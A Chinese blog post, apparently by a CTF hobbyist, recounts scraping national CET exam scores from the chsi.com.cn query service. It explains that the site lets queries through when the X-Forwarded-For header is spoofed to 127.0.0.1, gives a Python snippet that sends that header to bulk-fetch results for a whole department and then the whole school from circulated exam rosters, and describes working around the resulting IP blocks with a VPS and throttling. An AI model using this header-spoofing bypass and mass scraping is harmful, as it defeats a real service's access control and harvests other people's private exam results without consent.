Cyrus Flag

flag{S0_bangbang_7ha7_u_f1nd_h3r3}

爬虫实战 0x03 CET考试成绩抓取

0x00 鸡冻人心的四级考试成绩出来了!

说好02-22上午9:00出成绩的,然而前一天晚上23:00左右就在学信网平台 http://www.chsi.com.cn/cet/ 查询到了成绩。然后群里的小伙伴表示:为什么打开这个页面提示不能查询呢?于是寝室里来了一大群小姐姐研究为什么我能查成绩。。。

已知:Firefox在电信和移动网均可查询,Firefox隐私模式也可以,Chrome/IE/Edge不能查询,Postman添加Firefox的UA不能查询。

答:Firefox默认给GET请求添加了XFF=127.0.0.1的header。

分析:应该是学信网程序员调试完就去睡觉了没关本地入口。

0x01 为什么不抓一下全院的成绩呢?

在学院大群找到全年级的考试信息表。直接上核心代码吧:

1
2
3
4
5
6
7
8
9
10
11
u.cookies.clear()
url = "http://www.chsi.com.cn/cet/query?zkzh=%s&xm=%s" % (zkzh, urllib.request.quote(xm))
#print(url)
headers = {"Referer": "http://www.chsi.com.cn/cet/",
"X-Forwarded-For": "127.0.0.1"}
r = u.get(url, headers=headers).text.partition(zkzh)[2].partition("colorRed\">")[2]
xx=r.partition("</span>")[0].strip()
x1=r.partition("力")[2].partition("")[2].partition("")[0].strip()
x2 = r.partition("读")[2].partition("")[2].partition("")[0].strip()
x3 = r.partition("译")[2].partition("")[2].partition("")[0].strip()
x4 = r.partition("级")[2].partition("colspan=\"2\">")[2].partition("")[0].strip()

其实毫无亮点。Referer抓包得到。后面的查找懒得用正则了。当晚就抓完了全院的成绩。

P.S. 不知道辅导员把整个年级的考试信息发到学院大群里还不删除身份证信息是什么想法 [/再见]

0x02 为什么不再抓一下全校的成绩呢?

第二天早上翘了早自习真是神清气爽。群里小姐姐弄来了一份全校的考试信息表,当然这次是剔除了身份证信息的。

中午回来帮班级查询一个总表的时候就发现,有两个人返回Error无法成功查询。当时以为是网络原因,手动填写了数据发给学委就去上课了,走之前挂了一个查询全校的脚本在电脑上。等上完课回来只看见满屏幕的Error ╮(╯▽╰)╭

怕是封了寝室移动网的ip。于是把代码里中文字符删了删丢到了VPS上。然而查询700多条数据之后也开始无响应 ╮(╯▽╰)╭

之后小心的设置为每隔一定次数查询就pause一小会。换了寝室电信网,脚本似乎情绪稳定。

(全年级的还没全部抓完,并且还很卡

完整代码见 Github